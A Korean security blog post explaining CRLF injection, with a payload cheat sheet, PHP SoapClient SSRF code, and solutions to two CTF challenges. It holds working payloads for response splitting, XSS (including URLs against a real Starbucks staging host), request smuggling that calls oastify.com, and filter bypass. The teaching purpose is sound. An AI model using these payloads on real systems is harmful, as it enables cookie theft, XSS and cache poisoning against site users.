본문 바로가기
정보보안(웹해킹)/기타

CRLF injection

by 끊임없는정진 2022. 12. 22.

▶ CRLF?

브라우저가 요청을 보낼 때, 웹 서버는 응답을 헤더와 바디를 둘다 보내게 된다. 해당 헤더와 응답은 소위 CRLF라 불리는, 특이한 문자조합으로 분리되어 있다. CRLF는 서버가 헤더의 시작과 끝을 구분하는데 사용하게 된다. 또한, 파일이나 텍스트에 있어서 새로운 라인이 시작됨을 알리는 역할도 있다. HTTP/1.1의 표준으로 많은 아파치, IIS를 포함한 다양한 웹 서버에서 사용하고 있다. 

- Name ASCII Code URL Encode Char
CR Carriage Return ASCII 13 %0D \r
LF Line Feed ASCII 10 %0A \n

 

▶ CRLF Injection?

CRLF Injection 공격은 CR(Carriage Return)과 LF(Line Feed)를 둘다 넣어서 서버가 이를 인식할 때 발생한다. 서버는 CRLF가 Inject될 경우, 새로운 데이터의 시작이라고 인식한다. 

예를 들어, 다음과 같이 IP - Time - Visted Path, 를 남기는 로그파일을 생각해보자. 공격자는 아마도 CRLF 를 Inject하여 서버에서 나오는 응답을 바꾸고 로그내역을 바꿀 것이다. 

정상 : 123.123.123.123 - 08:15 - /index.php?page=home
CRLF Injection : /index.php?page=home%0d%0a127.0.0.1 - 08:15 - /index.php?page=home&restrictedaction=edit

 

CRLF Injection을 수행한 로그내역은 다음과 같이 보일 것이다.

123.123.123.123 - 08:15 - /index.php?page=home&
127.0.0.1 - 08:15 - /index.php?page=home&restrictedaction=edit

 

또한, HTTP 응답을 쪼개버릴 수 있다.  HTTP의 응답은 헤더와 바디가 CRLF 문자로 쪼개져 있으므로 CRLF Injection을 수행할 수 있다. CRLF를 두번 삽입하면 브라우저에게 '헤더'가 끝나고 '바디'가 시작됨을 알리는 것과 같게 된다. 따라서 응답의 '바디'안에 html code가 저장되게 삽입할 수 있음을 뜻한다. html code를 삽입할 수 있다면, 당연히 XSS 취약점과 이어지게 된다. 예를 들면 'name'과 같은 파라미터로 header를 세팅할 수 있다고 가정해보자. URL encoding이 없고, 값이 바로 header 안으로 삽입된다면, CRLF 두번으로 브라우저에게 '바디'내용을 전달할 수 있다. 이렇게 XSS payload와 같은 데이터를 삽입할 수 있다.

X-Your-Name: {name}
?name=Bob%0d%0a%0d%0a<script>alert(document.domain)</script>

 

URL에 삽입하는 예를 들자면 다음과 같다.

http://www.example.com/somepage.php?page=%0d%0aContent-Length:%200%0d%0a%0d%0aHTTP/1.1%20200%20OK%0d%0aContent-Type:%20text/html%0d%0aContent-Length:%2025%0d%0a%0d%0a%3Cscript%3Ealert(1)%3C/script%3E  

http://stagecafrstore.starbucks.com/%3f%0d%0aLocation:%0d%0aContent-Type:text/html%0d%0aX-XSS-Protection%3a0%0d%0a%0d%0a%3Cscript%3Ealert%28document.domain%29%3C/script%3E

http://stagecafrstore.starbucks.com/%3f%0D%0ALocation://x:1%0D%0AContent-Type:text/html%0D%0AX-XSS-Protection%3a0%0D%0A%0D%0A%3Cscript%3Ealert(document.domain)%3C/script%3E 

 

추가로, 헤더를 삽입하는 HTTP Header Injection 역시 수행할 수 있다. Header를 Inject하게 되면, 브라우저의 XSS 필터나 SOP까지 무력화시킬 수 있다.  이렇게 되면 쿠키탈취, CSRF토큰 탈취 등의 문제가 발생할 수 있다. 헤더를 삽입할 수 있을 때 문제 중 하나가 HTTP Request Smuggling인데, 다음과 같은 payload를 삽입하여 back-end가 connection을 계속 유지하게끔 만들 수 있다.

GET /%20HTTP/1.1%0d%0aHost:%20redacted.net%0d%0aConnection:%20keep-alive%0d%0a%0d%0a HTTP/1.1

그리고 나서, 두번째 요청을 정의하면 request smuggling이 완성되게 된다. 

GET /%20HTTP/1.1%0d%0aHost:%20redacted.net%0d%0aConnection:%20keep-alive%0d%0a%0d%0aGET%20/redirplz%20HTTP/1.1%0d%0aHost:%20oastify.com%0d%0a%0d%0aContent-Length:%2050%0d%0a%0d%0a HTTP/1.1

또는, 접두사를 이용해서 다음과 같이 뒤의 요청과 결합해서 response queue poisoning 공격도 수행할 수 있다.

 

새로운 요청을 SSRF에서 보내버릴 수 있다. 좋은 예시로 PHP의 'SoapClient deserialization gadget'이 있다. 이 클래스는 user_agent parameter에서 새로운 헤더와 바디를 삽입할 수 있어서 CRLF공격에 취약하다. 이 취약점을 이용하면 다음과 같이 새로운 HTTP request를 삽입해버릴 수 있다. 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
$target = 'http://127.0.0.1:9090/test'; 
$post_string = 'variable=post value';
$crlf = array(
    'POST /proxy HTTP/1.1',
    'Host: local.host.htb',
    'Cookie: PHPSESSID=[PHPSESSID]',
    'Content-Type: application/x-www-form-urlencoded',
    'Content-Length: '.(string)strlen($post_string),
    "\r\n",
    $post_string
);
 
$client = new SoapClient(null,
    array(
        'uri'=>$target,
        'location'=>$target,
        'user_agent'=>"IGN\r\n\r\n".join("\r\n",$crlf)
    )
);
 
#Put a nc listening in port 9090
$client->__soapCall("test", []);
cs

 

▶ CRLF Cheat Sheet

1. HTTP Response Splitting
• /%0D%0ASet-Cookie:mycookie=myvalue (Check if the response is setting this cookie)

2. CRLF chained with Open Redirect
• //www.google.com/%2F%2E%2E%0D%0AHeader-Test:test2 
• /www.google.com/%2E%2E%2F%0D%0AHeader-Test:test2
• /google.com/%2F..%0D%0AHeader-Test:test2
• /%0d%0aLocation:%20http://example.com

3. CRLF Injection to XSS
• /%0d%0aContent-Length:35%0d%0aX-XSS-Protection:0%0d%0a%0d%0a23
• /%3f%0d%0aLocation:%0d%0aContent-Type:text/html%0d%0aX-XSS-Protection%3a0%0d%0a%0d%0a%3Cscript%3Ealert%28document.domain%29%3C/script%3E

4. Filter Bypass
• %E5%98%8A = %0A = \u560a
• %E5%98%8D = %0D = \u560d
• %E5%98%BE = %3E = \u563e (>)
• %E5%98%BC = %3C = \u563c (<)
• Payload = %E5%98%8A%E5%98%8DSet-Cookie:%20test

 

▶ CRLF Injection 실습

 

[1] Webhacking.kr - old-38

Log Injection이 뭔지 몰라서 한참을 고민한 문제다. 우연히 CRLF에 대해서 공부하면서 Log를 단순한 줄바꾸기로 구분하는 경우, CRLF로 Log를 Injection 할 수 있다는 사실을 알고나서 보니깐 간단한 문제였다.

admin으로 로그를 치면 로그가 남겨지지 않는듯하다.

 

'admin'을 검색창에 치면 'you are not admin'이라고 출력을 한다. 테스트용으로 'guest'라는 로그를 입력해보면 정상적으로 데이터가 전송되는 것은 확인해볼 수 있다. 이제 전송된 로그를 확인해봐야 하는데, 페이지의 주석처리된 부분을 보면 로그확인 페이지를 친절히 써놨다(인증/인가 취약점, 주석처리는 항상 조심할 것!). 

admin.php 로 접속하면 admin page라고 친절히 알려준다.

 

admin.php로 접속하면 guest 로 접속한 내역이 남는다.

 

여기서 한번 생각해보자. 둘중 하나일 것이다. 내 ip주소로 admin로그를 남기던가, 127.0.0.1로 admin로그를 남기던가. 간단히 둘 다 삽입해보자. Payload는 다음과 같다.

id = admin%0d%0a127.0.0.1:admin

그럼 문제가 쉽게 풀린다.

이미 풀어서 already sloved가 뜬다.

+ 127.0.0.1: admin이 아니라, (내 IP주소): admin 로그를 삽입하는 문제였다. 추후 확인용으로 127.0.0.1: admin을 Injection 해봤지만, 아무런 반응이 없는 것으로 보아, 내 IP를 admin으로 인식하게 만드는 것이 목표였던 것 같다. 

 

[2] Root-me - CRLF

위 문제보다 훨씬 순하다. 우선 어떤 내용을 주입해야할지 페이지에서 확인해보자.

로그인 창이 존재한다. 일단 admin/admin으로 로그인 시도를 해보자

 

일단 감이 안잡히니, admin / admin으로 로그인 시도를 해보자. 그러면 Authentication log에 admin이 인증에 실패했음을 알리는 로그를 남긴다.

로그에 'admin'인증이 실패했음을 알리는 로그가 뜬다.

 

여기서 'admin authenticated.'를 주입하면 문제가 풀리지 않을까? 하는 것을 생각해볼 수 있다. 그럼 어떤 식으로 Injection을 수행해야할까? 패스워드는 기록을 남기지 않으니, 당연히 username(Login)에서 주입을 해야함은 쉽게 생각할 수 있다. 만약, username에 'admin authenticated.' 를 넣고, %0d%0a로 줄을 바꾸고, guest를 주입하면

admin authenticated.

guest failed to authenticate.

와 같이 로그가 남겨져서 admin이 접속했던 것처럼 로그가 감쪽같지 않을까? 와 같이 생각했고, 바로 다음과 같이 username 파라미터에 넣을 payload를 구성했다.

id = admin%20authenticated%2e%0d%0aguest

GET방식으로 파라미터를 전송하니깐, URL로 직접 전송해보자, 그러면 다음과 같이 뜨면서 CRLF문제가 풀리게 된다.

Root-me CRLF Clear!

 

▶ CRLF Injection 대처방안

사용자 입력 값에서 CR과 LF가 실제 개행되어 반영되지 않도록 제한한다. 

 

 

 

출처 : https://book.hacktricks.xyz/pentesting-web/crlf-0d-0a

https://www.hahwul.com/cullinan/crlf-injection/

'정보보안(웹해킹) > 기타' 카테고리의 다른 글

[PHP 취약점] 총 정리  (0) 2023.01.05
인증/인가 취약점  (0) 2022.12.30
CSS Injection  (0) 2022.12.19
[PHP취약점] php wrapper  (0) 2022.11.26

댓글